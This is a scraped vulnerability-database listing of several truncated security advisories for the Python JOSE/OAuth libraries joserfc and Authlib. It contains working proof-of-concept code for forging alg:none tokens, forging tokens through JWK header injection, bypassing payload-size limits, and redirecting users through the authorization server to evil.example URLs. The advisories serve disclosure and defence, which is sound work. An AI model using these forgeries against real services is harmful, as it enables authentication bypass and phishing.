vulner | GCVE Database | ||
| High | 8.7 | EPSS 0.2% | CVE-2026-49852joserfc · HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363) High8.7EPSS 0.2%GCVE DatabaseCVE-2026-49852 ### Summary `joserfc.jwt.decode` accepts attacker-forged HMAC-signed tokens when the caller-supplied verification key is the empty string or `None`. `HMACAlgorithm.sign` and `HMACAlgorithm.verify` in [`src/joserfc/_rfc7518/jws_algs.py:62-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70) feed whatever `OctKey.get_op_key(...)` produced into `hmac.new(...)`, and `OctKey.import_key` only emits a `SecurityWarning` when the raw key is shorter than 14 bytes without rejecting zero-length input. Any application whose JWT secret is sourced from an unset environment variable, an unset Redis / DB row, a key finder fallback that returns `""`, or a `Hash.new("")`-style default verifies attacker tokens forged with `HMAC(key=b"", signing_input)` because the attacker trivially reproduces the same digest with no secret knowledge. This is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x / CVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key, filed 2026-05-13). ruby-jwt v3.2.0 added an `ensure_valid_key!` precondition that rejects empty keys at both sign and verify entry; joserfc has no equivalent. (The same primitive lives in the deprecated `authlib.jose` module by the same maintainer; filing this advisory against joserfc alongside a separate `authlib` advisory because the codebases are independent shipping artifacts on PyPI.) ### Affected versions `joserfc` (PyPI) `<= 1.6.7` (latest published release reproduces). No patched release. ### Privilege required Unauthenticated. Any HTTP / RPC endpoint that calls `joserfc.jwt.decode` with a verification key sourced from configuration is reachable. The condition that makes the bug observable is operator-side: the configured secret resolves to `""` or `None`. Common patterns that produce this state in production: - `OctKey.import_key(os.environ.get("JWT_SECRET", ""))` - A key finder callable that returns `""` / `None` for an unknown `kid` - Default values like `os.getenv("SECRET") or ""`, `cfg.get("secret", "")` - Database / Redis row lookup that returns `""` for a missing row ### Vulnerable code [`src/joserfc/_rfc7518/jws_algs.py:43-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L43-L70): ```python class HMACAlgorithm(JWSAlgModel): SHA256 = hashlib.sha256 SHA384 = hashlib.sha384 SHA512 = hashlib.sha512 def __init__(self, sha_type, recommended=False): self.name = f"HS{sha_type}" self.description = f"HMAC using SHA-{sha_type}" self.recommended = recommended self.hash_alg = getattr(self, f"SHA{sha_type}") self.algorithm_security = sha_type def sign(self, msg: bytes, key: OctKey) -> bytes: op_key = key.get_op_key("sign") return hmac.new(op_key, msg, self.hash_alg).digest() def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool: op_key = key.get_op_key("verify") v_sig = hmac.new(op_key, msg, self.hash_alg).digest() return hmac.compare_digest(sig, v_sig) ``` [`src/joserfc/_rfc7518/oct_key.py:52-63`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/oct_key.py#L52-L63): ```python @classmethod def import_key(cls, value, parameters=None, password=None) -> "OctKey": key: OctKey = super(OctKey, cls).import_key(value, parameters, password) if len(key.raw_value) < 14: # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final warnings.warn("Key size should be >= 112 bits", SecurityWarning) return key ``` The `< 14` check only warns; `len(key.raw_value) == 0` falls through and is returned to the caller. `HMACAlgorithm.verify` then calls `hmac.compare_digest(sig, hmac.new(b"", signing_input, sha256).digest())`, and Python's `hmac.new(b"", ...)` accepts the empty key. Cross-language sibling of ruby-jwt's fix in [`lib/jwt/jwa/hmac.rb`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/lib/jwt/jwa/hmac.rb): ```ruby def ensure_valid_key!(key) raise_verify_error!('HMAC key expected to be a String') unless key.is_a?(String) raise_verify_error!('HMAC key cannot be empty') if key.empty? end ``` invoked from both `sign(signing_key:)` and `verify(verification_key:)`. PyJWT landed an equivalent guard in 2.13.0 (`HMACAlgorithm.prepare_key` raises `InvalidKeyError("HMAC key must not be empty.")` for `len(key_bytes) == 0`). firebase/php-jwt rejects empty material in `Key.__construct`. jjwt enforces a 256-bit minimum in `DefaultMacAlgorithm.validateKey`. joserfc has the strongest existing length-warning logic but stops at `< 14 bytes` warn rather than `== 0` reject. ### How an empty `JWT_SECRET` reaches `hmac.new` 1. The application calls `joserfc.jwt.decode(value, key, algorithms=["HS256"])` where `key = OctKey.import_key("")` (or `OctKey.import_key(b"")`, or any custom path t | GCVE Database | ||
| Medium | 5.3 | EPSS 0.2% | CVE-2026-48990joserfc · b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization Medium5.3EPSS 0.2%GCVE DatabaseCVE-2026-48990 # RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization ## Summary Testing revealed that `joserfc` accepts oversized RFC7797 `b64=false` JWS payloads without applying `JWSRegistry.max_payload_length`. The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with `ExceededSizeError`. The RFC7797 unencoded payload paths do not make the same check. A valid `b64=false` compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than `JWSRegistry.max_payload_length`. This creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on `joserfc` to reject oversized token content during verification. ## Affected Product - Package: `joserfc` - Ecosystem: `pip` - Audited release: `1.6.5` - Audit tag: `1.6.5` - Audit commit: `881712980934fb601bed26fe3ae1ec0b7780e6f7` - Tested affected releases: `1.3.4`, `1.3.5`, `1.4.2`, `1.6.2`, `1.6.3`, `1.6.4`, `1.6.5` - Fixed release: none known ## Vulnerability Details In `joserfc` 1.6.5, the default JWS registry has `max_payload_length = 128000` and exposes `validate_payload_size()`. The normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly: ```text if is_rfc7797_enabled(protected): if not payload_segment and payload: payload_segment = to_bytes(payload) payload = payload_segment ``` The flattened JSON RFC7797 path has the same pattern: ```text payload_segment = value["payload"].encode("utf-8") if is_rfc7797_enabled(member.headers()): payload = payload_segment ``` Neither branch calls `registry.validate_payload_size(payload_segment)` before accepting the unencoded payload. ## Reproduction The proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 `b64=false` behavior. Requirements: ```bash python -m pip install "joserfc==1.6.5" ``` Run: ```bash python joserfc_rfc7797_size_bypass_poc.py ``` Self-contained proof script: ```python #!/usr/bin/env python3 import json import joserfc from joserfc import jws from joserfc.jwk import OctKey def check_compact(name, header, payload, key): token = jws.serialize_compact(header, payload, key) try: obj = jws.deserialize_compact(token, key) return { "case": name, "accepted": True, "exception": None, "payload_len_after_deserialize": len(obj.payload), } except Exception as exc: return { "case": name, "accepted": False, "exception": type(exc).__name__, "error": str(exc), } def check_json(name, protected, payload, key): data = jws.serialize_json({"protected": protected}, payload, key) try: obj = jws.deserialize_json(data, key) return { "case": name, "accepted": True, "exception": None, "payload_len_after_deserialize": len(obj.payload), } except Exception as exc: return { "case": name, "accepted": False, "exception": type(exc).__name__, "error": str(exc), } key = OctKey.import_key("secret-secret-secret") limit = jws.default_registry.max_payload_length payload = "A" * (limit + 1) results = { "joserfc_version": joserfc.__version__, "default_max_payload_length": limit, "payload_len": len(payload), "compact": [ check_compact("normal_b64_true", {"alg": "HS256"}, payload, key), check_compact( "rfc7797_b64_false", {"alg": "HS256", "b64": False, "crit": ["b64"]}, payload, key, ), ], "json": [ check_json("normal_b64_true_json", {"alg": "HS256"}, payload, key), check_json( "rfc7797_b64_false_json", {"alg": "HS256", "b64": False, "crit": ["b64"]}, payload, key, ), ], } print(json.dumps(results, indent=2, sort_keys=True)) ``` Expected output on `1.6.5` includes: ```json { "default_max_payload_length": 128000, "payload_len": 128001, "compact": [ { "case": "normal_b64_true", "accepted": false, "exception": "ExceededSizeError" }, { "case": "rfc7797_b64_false", "accepted": true, "exception": null, "payload_len_after_deserialize": 128001 } ], "json": [ { "case": "normal_b64_true_json", "accepted": false, "exception": "ExceededSizeError" }, { "case": "rfc7797_b64_false_json", "accepted": true, "exception": null, "payload_len_after_deserialize": 128001 } ] } ``` ## Version Checks I reproduced the same differential behavior on | GCVE Database | ||
| Medium | 6.1 | EPSS 0.2% | Medium6.1EPSS 0.2%GCVE DatabaseCVE-2026-44681 ### Summary An unauthenticated open redirect in Authlib's `OpenIDImplicitGrant` and `OpenIDHybridGrant` authorization endpoint lets a remote attacker cause the authorization server to issue an HTTP 302 to an attacker-chosen URL by submitting an authorization request that omits the `openid` scope. ### Details #### Vulnerable code `OpenIDImplicitGrant.validate_authorization_request` in `authlib/oidc/core/grants/implicit.py`: ```python def validate_authorization_request(self): if not is_openid_scope(self.request.payload.scope): raise InvalidScopeError( "Missing 'openid' scope", redirect_uri=self.request.payload.redirect_uri, # ← raw, unvalidated redirect_fragment=True, ) redirect_uri = super().validate_authorization_request() ... ``` `OpenIDHybridGrant.validate_authorization_request` in `authlib/oidc/core/grants/hybrid.py` shares the same pattern. #### Root cause Both methods perform the `openid` scope presence check before delegating to `super().validate_authorization_request()`, which is where `AuthorizationEndpointMixin.validate_authorization_redirect_uri` validates the requested `redirect_uri` against the client's `check_redirect_uri(...)`. The `InvalidScopeError` thrown by the scope check therefore carries attacker-controlled `self.request.payload.redirect_uri`. `OAuth2Error.__call__` in `authlib/oauth2/base.py` renders any error with a non-empty `redirect_uri` as an HTTP 302: ```python def __call__(self, uri=None): if self.redirect_uri: params = self.get_body() loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment) return 302, "", [("Location", loc)] return super().__call__(uri=uri) ``` A malformed authorization request that selects `OpenIDImplicitGrant` or `OpenIDHybridGrant` and omits the `openid` scope is therefore redirected to a fully attacker-chosen URL. This is a variant of the issue fixed in commit [`3be08468`](https://github.com/authlib/authlib/commit/3be08468) ("fix: redirecting to unvalidated `redirect_uri` on `UnsupportedResponseTypeError`") that was missed in the OIDC Implicit and Hybrid grants. #### Preconditions 1. The server registers `OpenIDImplicitGrant` or `OpenIDHybridGrant` (standard OIDC Implicit or Hybrid flow support). 2. The attacker's request uses a `response_type` that matches either grant: `id_token`, `id_token token`, `code id_token`, `code token`, or `code id_token token`. 3. `scope` does not contain `openid`. 4. Any `redirect_uri` value. No user authentication, no consent, no valid session, no CSRF token, and — notably — no valid `client_id` are required. The scope check runs before any client lookup, so any `client_id` value (including nonexistent ones) reaches the vulnerable code path. ### PoC The following unauthenticated GET is sufficient to induce the authorization server to redirect a victim's browser to an attacker-controlled URL: ``` GET /oauth/authorize ?response_type=id_token &client_id=anything &scope=profile &redirect_uri=https%3A%2F%2Fevil.example.com%2Fphish &state=s&nonce=n HTTP/1.1 Host: victim-op.example ``` Server response: ``` HTTP/1.1 302 Found Location: https://evil.example.com/phish#error=invalid_scope&error_description=Missing+%27openid%27+scope&state=s ``` ### Impact - Open redirect from a trusted authorization server origin. Victims receiving a phishing link see the legitimate OIDC provider's domain in the URL bar at the moment they click. The authorization server itself issues the 302 to the attacker's page, lending the attacker's landing page the OP's reputation and potentially satisfying domain-allow-list controls that trust the OP. - Phishing / credential harvesting leverage. The attacker's page can mimic the legitimate OP's consent screen or a relying-party error page to solicit credentials, MFA codes, or to continue a downstream confused-deputy attack. - RFC violation. RFC 6749 §4.1.2.1 and RFC 9700 (OAuth 2.0 Security BCP) §4.11 both state that an authorization server MUST NOT perform redirection to a `redirect_uri` that has not been validated against the client's registered URIs, even in error responses. The `state` parameter is echoed back, giving the attacker site a stable correlator. - No direct token/code leak. This flaw fires before any authorization decision, so no authorization codes, ID tokens, or access tokens are disclosed. The impact is limited to open-redirect phishing leverage. Combined with other issues (e.g., downstream SSO trust chains) it may contribute to account-takeover chains; on its own it is a Medium-severity open redirect. #### Affected deployments Any application using Authlib as an OIDC provider that registers `OpenIDImplicitGrant` and/or `OpenIDHybridGrant` — i.e. anyone supporting the Implicit flow or the Hybrid flow (`response_type=code id_token`, etc.) — is affected. Clients of an Authlib-based OP are not directly affected; this is a server-side issue. | GCVE Database | ||
| Medium | 5.4 | EPSS 0.3% | CVE-2026-41479Weaviate cli: Authlib OAuth 2.0 has Open Redirect in Authorization API that allows attacker-controlled redirect_uri Medium5.4EPSS 0.3%GCVE DatabaseCVE-2026-41479 ### Summary Authlib's OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported response_type and supplies an attacker-controlled redirect_uri. The vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL. It was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD. ### Details The root cause is that `AuthorizationServer.get_authorization_grant()` copies the raw request `redirect_uri` into an `UnsupportedResponseTypeError` before any client has been resolved and before any redirect URI validation has happened: ```python # authlib/oauth2/rfc6749/authorization_server.py raise UnsupportedResponseTypeError( f"The response type '{request.payload.response_type}' is not supported by the server.", request.payload.response_type, redirect_uri=request.payload.redirect_uri, ) That error object is later rendered by OAuth2Error.__call__(). If redirect_uri is set, Authlib automatically returns a redirect response to that URI: # authlib/oauth2/base.py def __call__(self, uri=None): if self.redirect_uri: params = self.get_body() loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment) return 302, "", [("Location", loc)] return super().__call__(uri=uri) This means an unsupported response_type request can force the authorization server to redirect to an attacker-controlled URL even when: 1. no valid client exists, 2. no grant matched the request, 3. no registered redirect_uri was ever checked. This is not a contrived code path. It is reachable through the normal Authlib authorization endpoint flow documented for Flask and Django integrations, where applications are told to call server.get_consent_grant(...) and then server.handle_error_response(...) on OAuth2Error. Relevant source and documentation references: - authlib/oauth2/rfc6749/authorization_server.py - authlib/oauth2/base.py - docs/flask/2/authorization-server.rst - docs/django/2/authorization-server.rst ### PoC Local test environment: - Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1 - git describe: v1.6.6-104-g68e6ab3f - Python virtualenv: ./.venv - Environment variable: AUTHLIB_INSECURE_TRANSPORT=true Note: AUTHLIB_INSECURE_TRANSPORT=true was only used to allow local loopback HTTP reproduction. It does not create the vulnerable behavior. In a real deployment the same logic is reachable over HTTPS. Run this exact PoC from the repository root: export AUTHLIB_INSECURE_TRANSPORT=true ./.venv/bin/python - <<'PY' import os, json from flask import Flask, request from authlib.integrations.flask_oauth2 import AuthorizationServer from authlib.oauth2 import OAuth2Error from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as _AuthorizationCodeGrant os.environ["AUTHLIB_INSECURE_TRANSPORT"] = "true" class AuthorizationCodeGrant(_AuthorizationCodeGrant): def save_authorization_code(self, code, request): raise RuntimeError("not reached") def query_authorization_code(self, code, client): return None def delete_authorization_code(self, authorization_code): pass def authenticate_user(self, authorization_code): return None app = Flask(__name__) app.secret_key = "testing" server = AuthorizationServer( app, query_client=lambda client_id: None, save_token=lambda token, request: None, ) server.register_grant(AuthorizationCodeGrant) @app.route("/oauth/authorize", methods=["GET", "POST"]) def authorize(): try: grant = server.get_consent_grant(end_user=None) except OAuth2Error as error: return server.handle_error_response(request, error) return server.create_authorization_response(grant=grant, grant_user=None) with app.test_client() as c: cases = { "without_redirect_uri": "/oauth/authorize?response_type=totally-unsupported&state=s1", "with_attacker_redirect_uri": "/oauth/authorize?response_type=totally- unsupported&redirect_uri=https%3A%2F%2Fevil.example%2Flanding&state=s1", } out = {} for name, url in cases.items(): r = c.get(url) out[name] = { "status": r.status_code, "location": r.headers.get("Location"), "body": r.get_data(as_text=True), } print(json.dumps(out, indent=2)) PY Observed result: { "without | GCVE Database | ||
| Medium | 5.4 | EPSS 0.1% | CVE-2026-41425Authlib · Cross-site request forging when using cache Medium5.4EPSS 0.1%GCVE DatabaseCVE-2026-41425 ### Summary There is no CSRF protection on the cache feature on most integrations clients. ### Details In `authlib.integrations.starlette_client.OAuth`, no CSRF protection is set up when using the cache parameter. When _not_ using the cache parameter, the use of SessionMiddleware ties the client to the auth state, preventing CSRF attacks. With the cache, there is no such mechanism. Other integratons have the same issue, it's not just starlette. The state parameter is taken from the callback URL and the state is fetched from the cache without checking that it is the same client calling the redirect endpoint as was the one that initiated the auth flow. This issue is documented in RFC 6749 section 10.12: https://datatracker.ietf.org/doc/html/rfc6749#section-10.12 ### PoC - Set up a Starlette integration with a cache - The attacker starts the auth flow up until before the callback URL is followed. - The attacked sends the redirect URL to the victim - The victim now completes the authorisation ### Impact This impacts all users that use the cache to store auth state. All users will be vulnerable to CSRF attacks and may have an attacker's account tied to their own. | GCVE Database | ||
| High | 8.7 | EPSS 0.5% | High8.7EPSS 0.5%GCVE DatabaseCVE-2026-28802 ### Summary After upgrading the library from 1.5.2 to 1.6.0 (and the latest 1.6.5) it was noticed that previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected. ### Details It was likely introduced in this commit: https://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75 ### PoC ``` from authlib.jose import jwt, JsonWebKey from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization from cryptography.hazmat.backends import default_backend import json import base64 def create_jwks(): private_key = rsa.generate_private_key( public_exponent=65537, key_size=2048, backend=default_backend() ) public_pem = private_key.public_key().public_bytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo, ) jwk = JsonWebKey.import_key(public_pem).as_dict() jwk["kid"] = "test-key-001" jwk["use"] = "sig" jwk["alg"] = "RS256" jwks = {"keys": [jwk]} return jwks def create_forged_token_with_alg_none(): forged_header = {"alg": "none"} forged_payload = { "sub": "user123", "role": "admin", "iat": 1735603200, } header_b64 = base64.urlsafe_b64encode( json.dumps(forged_header).encode("utf-8") ).rstrip(b"=") payload_b64 = base64.urlsafe_b64encode( json.dumps(forged_payload).encode("utf-8") ).rstrip(b"=") forged_token = header_b64 + b"." + payload_b64 + b"." return forged_token jwks = create_jwks() forged_token = create_forged_token_with_alg_none() try: claims = jwt.decode(forged_token, jwks) print(f"VULNERABLE: Forged token (alg:none) accepted: role={claims['role']}") except Exception as e: print(f"SECURE: Token rejected - {type(e).__name__}") ``` Output: ``` pip install -q authlib==1.5.2 python3 authlib_alg_none_vulnerability.py SECURE: Token rejected - BadSignatureError pip install -q authlib==1.6.5 python3 authlib_alg_none_vulnerability.py VULNERABLE: Forged token (alg:none) accepted: role=admin ``` ### Impact Users of the library are likely not aware that they now need to check the provided headers and disallow `alg: none` usage, it is not obvious from the release notes that any action needs to be taken. As a best-practice, the library should adopt a 'secure by default' stance and default to rejecting it and allow the application to provide an algorithm whitelist. Applications using this library for authentication or authorization may accept malicious, forged JWTs, leading to: - Authentication bypass - Privilege escalation - Unauthorized access - Modification of application data | GCVE Database | ||
| High | 8.2 | EPSS 0.2% | High8.2EPSS 0.2%GCVE DatabaseCVE-2026-28498 ## 1. Executive Summary A critical library-level vulnerability was identified in the **Authlib** Python library concerning the validation of OpenID Connect (OIDC) ID Tokens. Specifically, the internal hash verification logic (`_verify_hash`) responsible for validating the `at_hash` (Access Token Hash) and `c_hash` (Authorization Code Hash) claims exhibits a **fail-open** behavior when encountering an unsupported or unknown cryptographic algorithm. This flaw allows an attacker to bypass mandatory integrity protections by supplying a forged ID Token with a deliberately unrecognized `alg` header parameter. The library intercepts the unsupported state and silently returns `True` (validation passed), inherently violating fundamental cryptographic design principles and direct OIDC specifications. --- ## 2. Technical Details & Root Cause The vulnerability resides within the `_verify_hash(signature, s, alg)` function in `authlib/oidc/core/claims.py`: ```python def _verify_hash(signature, s, alg): hash_value = create_half_hash(s, alg) if not hash_value: # ← VULNERABILITY: create_half_hash returns None for unknown algorithms return True # ← BYPASS: The verification silently passes return hmac.compare_digest(hash_value, to_bytes(signature)) ``` When an unsupported algorithm string (e.g., `"XX999"`) is processed by the helper function `create_half_hash` in `authlib/oidc/core/util.py`, the internal `getattr(hashlib, hash_type, None)` call fails, and the function correctly returns `None`. However, instead of triggering a `Fail-Closed` cryptographic state (raising an exception or returning `False`), the `_verify_hash` function misinterprets the `None` return value and explicitly returns `True`. Because developers rely on the standard `.validate()` method provided by Authlib's `IDToken` class—which internally calls this flawed function—there is **no mechanism for the implementing developer to prevent this bypass**. It is a strict library-level liability. --- ## 3. Attack Scenario This vulnerability exposes applications utilizing Hybrid or Implicit OIDC flows to **Token Substitution Attacks**. 1. An attacker initiates an OIDC flow and receives a legitimately signed ID Token, but wishes to substitute the bound Access Token (`access_token`) or Authorization Code (`code`) with a malicious or mismatched one. 2. The attacker re-crafts the JWT header of the ID Token, setting the `alg` parameter to an arbitrary, unsupported value (e.g., `{"alg": "CUSTOM_ALG"}`). 3. The server uses Authlib to validate the incoming token. The JWT signature validation might pass (or be previously cached/bypassed depending on state), progressing to the claims validation phase. 4. Authlib attempts to validate the `at_hash` or `c_hash` claims. 5. Because `"CUSTOM_ALG"` is unsupported by `hashlib`, `create_half_hash` returns `None`. 6. Authlib's `_verify_hash` receives `None` and silently returns `True`. 7. **Result:** The application accepts the substituted/malicious Access Token or Authorization Code without any cryptographic verification of the binding hash. --- ## 4. Specification & Standards Violations This explicit fail-open behavior violates multiple foundational RFCs and Core Specifications. A secure cryptographic library **MUST** fail and reject material when encountering unsupported cryptographic parameters. **OpenID Connect Core 1.0** * **§ 3.2.2.9 (Access Token Validation):** "If the ID Token contains an `at_hash` Claim, the Client MUST verify that the hash value of the Access Token matches the value of the `at_hash` Claim." Silencing the validation check natively contradicts this absolute requirement. * **§ 3.3.2.11 (Authorization Code Validation):** Identically mandates the verification of the `c_hash` Claim. **IETF JSON Web Token (JWT) Best Current Practices (BCP)** * **RFC 8725 § 3.1.1:** "Libraries MUST NOT trust the signature without verifying it according to the algorithm... if validation fails, the token MUST be rejected." Authlib's implementation effectively "trusts" the hash when it cannot verify the algorithm. **IETF JSON Web Signature (JWS)** * **RFC 7515 § 5.2 (JWS Validation):** Cryptographic validations must reject the payload if the specified parameters are unsupported. By returning `True` for an `UnsupportedAlgorithm` state, Authlib violates robust application security logic. --- ## 5. Remediation Recommendation The `_verify_hash` function must be patched to enforce a `Fail-Closed` posture. If an algorithm is unsupported and cannot produce a hash for comparison, the validation **must** fail immediately. **Suggested Patch (`authlib/oidc/core/claims.py`):** ```python def _verify_hash(signature, s, alg): hash_value = create_half_hash(s, alg) if hash_value is None: # FAIL-CLOSED: The algorithm is unsupported, reject the token. return False return hmac.compare_digest(hash_value, to_bytes(signature)) ``` --- ## 6. Proof of Concept (PoC) | GCVE Database | ||
| High | 8.3 | EPSS 0.1% | High8.3EPSS 0.1%GCVE DatabaseCVE-2026-28490 ## 1. Executive Summary A cryptographic padding oracle vulnerability was identified in the Authlib Python library concerning the implementation of the JSON Web Encryption (JWE) `RSA1_5` key management algorithm. Authlib registers `RSA1_5` in its default algorithm registry without requiring explicit opt-in, and actively destroys the constant-time Bleichenbacher mitigation that the underlying `cryptography` library implements correctly. When `cryptography` encounters an invalid PKCS#1 v1.5 padding, it returns a randomized byte string instead of raising an exception — the correct behavior per RFC 3218 §2.3.2. Authlib ignores this contract and raises `ValueError('Invalid "cek" length')` immediately after decryption, before reaching AES-GCM tag validation. This creates a clean, reliable **Exception Oracle**: - **Invalid padding** → `cryptography` returns random bytes → Authlib length check fails → `ValueError: Invalid "cek" length` - **Valid padding, wrong MAC** → decryption succeeds → length check passes → AES-GCM fails → `InvalidTag` **This oracle is active by default in every Authlib installation without any special configuration by the developer or the attacker.** The three most widely used Python web frameworks — Flask, Django, and FastAPI — all expose distinguishable HTTP responses for these two exception classes in their default configurations, requiring no additional setup to exploit. **Empirically confirmed on authlib 1.6.8 + cryptography 46.0.5:** ``` [PADDING INVALIDO] ValueError: Invalid "cek" length [PADDING VALIDO/MAC] InvalidTag ``` --- ## 2. Technical Details & Root Cause ### 2.1 Vulnerable Code **File:** `authlib/jose/rfc7518/jwe_algs.py` ```python def unwrap(self, enc_alg, ek, headers, key): op_key = key.get_op_key("unwrapKey") # cryptography implements Bleichenbacher mitigation here: # on invalid padding it returns random bytes instead of raising. # Empirically confirmed: returns 84 bytes for a 2048-bit key. cek = op_key.decrypt(ek, self.padding) # VULNERABILITY: This length check destroys the mitigation. # cryptography returned 84 random bytes. len(84) * 8 = 672 != 128 (A128GCM CEK_SIZE). # Authlib raises a distinct ValueError before AES-GCM is ever reached. if len(cek) * 8 != enc_alg.CEK_SIZE: raise ValueError('Invalid "cek" length') # <- ORACLE TRIGGER return cek ``` ### 2.2 Root Cause — Active Mitigation Destruction `cryptography` 46.0.5 implements the Bleichenbacher mitigation correctly at the library level. When PKCS#1 v1.5 padding validation fails, it does not raise an exception. Instead it returns a randomized byte string (empirically observed: 84 bytes for a 2048-bit RSA key). The caller is expected to pass this fake key to the symmetric decryptor, where MAC/tag validation will fail in constant time — producing an error indistinguishable from a MAC failure on a valid padding. Authlib does not honor this contract. The length check on the following line detects that 84 bytes != 16 bytes (128-bit CEK for A128GCM) and raises `ValueError('Invalid "cek" length')` immediately. This exception propagates before AES-GCM is ever reached, creating two execution paths with observable differences: ``` Path A — invalid PKCS#1 v1.5 padding: op_key.decrypt() -> 84 random bytes (cryptography mitigation active) len(84) * 8 = 672 != 128 (CEK_SIZE for A128GCM) raise ValueError('Invalid "cek" length') <- specific exception, fast path Path B — valid padding, wrong symmetric key: op_key.decrypt() -> 16 correct bytes len(16) * 8 = 128 == 128 -> length check passes AES-GCM tag validation -> mismatch raise InvalidTag <- different exception class, slow path ``` The single line `raise ValueError('Invalid "cek" length')` is the complete root cause. Removing the raise and replacing it with a silent random CEK fallback eliminates both the exception oracle and any residual timing difference. ### 2.3 Empirical Confirmation **All results obtained on authlib 1.6.8 / cryptography 46.0.5 / Linux x86_64 running the attached PoC (`poc_bleichenbacher.py`):** ``` TEST 1 - cryptography behavior on invalid padding: cryptography retorno bytes: len=84 NOTA: esta version implementa mitigacion de random bytes TEST 2 - Exception Oracle: [ORACLE] Caso A (padding invalido): ValueError: Invalid "cek" length [OK] Caso B (padding valido/MAC malo): InvalidTag TEST 3 - Timing (50 iterations): Padding invalido (ValueError) mean=1.500ms stdev=1.111ms Padding valido (InvalidTag) mean=1.787ms stdev=0.978ms Delta: 0.287ms TEST 4 - RSA1_5 in default registry: [ORACLE] RSA1_5 activo por defecto (no opt-in required) TEST 5 - Fix validation: [OK] Both paths return correct-length CEK after patch [OK] Exception type identical in both paths -> oracle eliminated ``` **Note on timing:** The 0.287ms delta is within the noise margin (stdev ~1ms across 50 iterati | GCVE Database | ||
| Critical | 9.1 | EPSS 0.6% | Critical9.1EPSS 0.6%GCVE DatabaseCVE-2026-27962 ## Description ### Summary A JWK Header Injection vulnerability in `authlib`'s JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When `key=None` is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT `jwk` header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid — bypassing authentication and authorization entirely. This behavior violates **RFC 7515 §4.1.3** and the validation algorithm defined in **RFC 7515 §5.2**. ### Details **Vulnerable file:** `authlib/jose/rfc7515/jws.py` **Vulnerable method:** `JsonWebSignature._prepare_algorithm_key()` **Lines:** 272–273 ```python elif key is None and "jwk" in header: key = header["jwk"] # ← attacker-controlled key used for verification ``` When `key=None` is passed to `jws.deserialize_compact()`, `jws.deserialize_json()`, or `jws.deserialize()`, the library checks the JWT header for a `jwk` field. If present, it extracts that value — which is fully attacker-controlled — and uses it as the verification key. **RFC 7515 violations:** - **§4.1.3** explicitly states the `jwk` header parameter is **"NOT RECOMMENDED"** because keys embedded by the token submitter cannot be trusted as a verification anchor. - **§5.2 (Validation Algorithm)** specifies the verification key MUST come from the *application context*, not from the token itself. There is no step in the RFC that permits falling back to the `jwk` header when no application key is provided. **Why this is a library issue, not just a developer mistake:** The most common real-world trigger is a **key resolver callable** used for JWKS-based key lookup. A developer writes: ```python def lookup_key(header, payload): kid = header.get("kid") return jwks_cache.get(kid) # returns None when kid is unknown/rotated jws.deserialize_compact(token, lookup_key) ``` When an attacker submits a token with an unknown `kid`, the callable legitimately returns `None`. The library then silently falls through to `key = header["jwk"]`, trusting the attacker's embedded key. The developer never wrote `key=None` — the library's fallback logic introduced it. The result looks like a verified token with no exception raised, making the substitution invisible. **Attack steps:** 1. Attacker generates an RSA or EC keypair. 2. Attacker crafts a JWT payload with any desired claims (e.g. `{"role": "admin"}`). 3. Attacker signs the JWT with their **private** key. 4. Attacker embeds their **public** key in the JWT `jwk` header field. 5. Attacker uses an unknown `kid` to cause the key resolver to return `None`. 6. The library uses `header["jwk"]` for verification — signature passes. 7. Forged claims are returned as authentic. ### PoC Tested against **authlib 1.6.6** (HEAD `a9e4cfee`, Python 3.11). **Requirements:** ``` pip install authlib cryptography ``` **Exploit script:** ```python from authlib.jose import JsonWebSignature, RSAKey import json jws = JsonWebSignature(["RS256"]) # Step 1: Attacker generates their own RSA keypair attacker_private = RSAKey.generate_key(2048, is_private=True) attacker_public_jwk = attacker_private.as_dict(is_private=False) # Step 2: Forge a JWT with elevated privileges, embed public key in header header = {"alg": "RS256", "jwk": attacker_public_jwk} forged_payload = json.dumps({"sub": "attacker", "role": "admin"}).encode() forged_token = jws.serialize_compact(header, forged_payload, attacker_private) # Step 3: Server decodes with key=None — token is accepted result = jws.deserialize_compact(forged_token, 